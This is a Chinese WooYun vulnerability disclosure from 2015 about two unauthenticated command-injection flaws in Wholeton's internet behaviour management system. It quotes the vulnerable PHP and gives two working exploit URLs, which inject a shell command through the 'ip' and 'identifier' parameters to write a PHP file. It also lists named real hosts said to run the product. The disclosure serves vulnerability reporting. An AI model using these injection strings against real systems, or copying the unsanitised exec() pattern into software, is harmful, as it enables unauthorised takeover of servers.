当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103644

漏洞标题:惠尔顿上网行为管理系统命令执行二处(无需登录)

相关厂商:深圳市惠尔顿信息技术有限公司

漏洞作者: xfkxfk

提交时间:2015-03-25 18:56

修复时间:2015-06-25 16:36

公开时间:2015-06-25 16:36

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-25: 细节已通知厂商并且等待厂商处理中
2015-03-27: 厂商已经确认,细节仅向厂商公开
2015-03-30: 细节向第三方安全合作伙伴开放
2015-05-21: 细节向核心白帽子及相关领域专家公开
2015-05-31: 细节向普通白帽子公开
2015-06-10: 细节向实习白帽子公开
2015-06-25: 细节向公众公开

简要描述:

捡pandas牛剩下的,惠尔顿上网行为管理系统命令执行二处(无需登录)

详细说明:

官网经典案例:http://www.wholeton.com/Anli.php
外网部分实际案例:

1.https://test.bescar.com
2.https://angelic.com.cn/
3.http://222.223.56.116
4.https://222.92.15.100
5.http://111.206.133.4/
6.http://mail.hualiu.cc/


第一处命令执行:
文件/base/stats/realtime/user_prohibit_internet.php

<?php 
$ip = $_REQUEST['ip'];
$duration = $_REQUEST['duration'];
if($duration=="" || $duration==0){
$str = "ipset -A drop_user ".$ip;
}else{
$duration = $duration*60;
$str = "ipset -A drop_user ".$ip.",".$duration;
}

exec($str);
$name = "禁止上网用户:".$ip;
writeSysLog($name);
?>


代码我就不解释了吧,很简单,很暴力,直接执行命令
第二处命令执行:
文件/base//stats/realtime/underLineUser.php

<?php
exec("ipset -nL drop_user", $drop_user);
$identifier = htmlobject_request('identifier');
if($identifier == '') {
$identifier = array();
}
switch (htmlobject_request('action')) {
case '允许上网':
for($i = 0; $i<count($identifier); $i++){
exec("ipset -D drop_user ".$identifier[$i]);
$name = "禁止上网用户列表中 允许上网的IP:".$identifier[$i];
writeSysLog($name);
}
print("<script>window.location.href='underLineUser.php';</script>");
break;
}


看代码里面:$identifier = htmlobject_request('identifier');
然后$identifier进入exec里面了
跟进htmlobject_request函数:

function htmlobject_request($arg) 
{
if (isset($_REQUEST[$arg]))
return $_REQUEST[$arg];
else
return '';
}


不懂那这个函数来干啥用的,这不是脱了裤子放屁么,多一回事。。。
还是参数$identifier的值直接进入exec,一样暴力的命令执行。

漏洞证明:

第一处命令执行EXP:

https://test.bescar.com/base/stats/realtime/underLineUser.php?action=允许上网&identifier[]=123;echo '<?php phpinfo();?>'>/usr/local/WholetonTM/htdocs/111111.php


会在根目录下生成111111.php文件

1.png


第二处命令执行EXP:

https://test.bescar.com/base/stats/realtime/user_prohibit_internet.php?ip=1.1.1.1;echo '<?php phpinfo();?>'>/usr/local/WholetonTM/htdocs/222222.php


会在根目录下生成222222.php文件

2.png

修复方案:

这个系统可以重写了。。。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-03-27 16:34

厂商回复:

已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报

最新状态:

暂无